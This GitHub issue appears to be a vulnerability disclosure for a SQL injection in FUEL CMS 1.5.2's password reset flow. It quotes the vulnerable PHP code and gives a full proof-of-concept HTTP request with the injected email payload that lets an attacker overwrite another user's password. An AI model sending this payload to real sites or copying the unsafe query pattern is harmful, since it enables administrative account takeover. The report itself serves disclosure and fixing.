Skip to content

FUEL CMS 1.5.2 Password Reset SQL Injection #611

Description

@youmulijiang

FUEL CMS 1.5.2 Password Reset SQL Injection

Summary

FUEL CMS 1.5.2 contains a SQL injection vulnerability in the password reset flow. The vulnerable endpoint is:

POST /fuel/login/reset/{valid_token}

The reset page validates the token from the URL, but the actual password reset operation trusts attacker-controlled POST parameters email and _token. These values are concatenated into a raw SQL WHERE string in Fuel_users_model::reset_password_from_token(). An attacker who possesses any valid reset token can inject into the email parameter and force the query to select a different user record. The selected user's password is then overwritten with an attacker-controlled password.

Affected Product

  • Vendor/Product: FUEL CMS
  • Affected Version: 1.5.2
  • Component: Password reset functionality
  • Affected Endpoint: POST /fuel/login/reset/{valid_token}
  • Authentication: A valid reset token is required

Vulnerability Type

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command
  • Impact category: Account takeover / privilege escalation through password reset

Affected Files

  • fuel/modules/fuel/controllers/Login.php
  • fuel/modules/fuel/models/Fuel_users_model.php
  • fuel/modules/fuel/core/MY_Model.php

Technical Details

Login::reset_password() validates the reset token from URI segment 4 before rendering or processing the reset form. However, when processing a submitted password reset, it passes POST values directly into the model:

$reset = $this->fuel_users_model->reset_password_from_token(
    $this->input->post('email'),
    $this->input->post('_token'),
    $this->input->post('password')
);

Fuel_users_model::reset_password_from_token() builds a raw SQL condition by string concatenation:

$user = $this->find_one('(reset_key = "' . $token . '" AND email = "' . $email . '")', 'id', 'array');

MY_Model::_handle_where() then passes string conditions directly into CodeIgniter's query builder:

$this->db->where($where);

As a result, a crafted email value can alter the SQL condition and select an arbitrary user record. The selected record's password is then replaced with the attacker-supplied password.

Attack Preconditions

The following conditions are required:

  1. FUEL admin is enabled.
  2. Forgotten password functionality is enabled.
  3. The attacker has any valid reset token, for example for an attacker-controlled low-privileged account.
  4. The attacker can retrieve the FUEL custom CSRF field from the reset form.

Proof of Concept

The following request shows the vulnerable parameter pattern. Replace placeholders with valid values in a controlled test environment.

POST /fuel/login/reset/ATTACKER_VALID_TOKEN HTTP/1.1
Host: target.example
Cookie: ci_session=SESSION_FROM_RESET_PAGE
Content-Type: application/x-www-form-urlencoded
Connection: close

email=x%22%20OR%20id%3DVICTIM_ID%29%20--%20&password=NEW_PASSWORD&password_confirm=NEW_PASSWORD&_token=ATTACKER_VALID_TOKEN&ci_csrf_token_FUEL=CSRF_FROM_RESET_PAGE

The injected email value is:

x" OR id=VICTIM_ID) -- 

This changes the SQL condition so that the reset operation selects the victim user instead of the account associated with the reset token.

Verification Result

The vulnerability was dynamically verified in a local test environment using a temporary victim account. The verification process used a valid reset token associated with a low-privileged test user, submitted an injected email parameter through the real HTTP endpoint, confirmed that a different temporary user's password hash changed, and then removed all temporary data.

Verification output:

FUEL-01_SQLi_other_account_password_changed=True
audit_victim_left=0
backup_table_left=0
non_empty_reset_key_count=0
test_super_admin=no

No real administrator account was modified during final verification.

Impact

Successful exploitation allows an attacker with any valid reset token to reset the password of another CMS user. If the targeted user has administrative privileges, this can lead to full CMS administrative account takeover, unauthorized content modification, and further compromise depending on enabled modules and deployment configuration.

Screenshot

Image Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions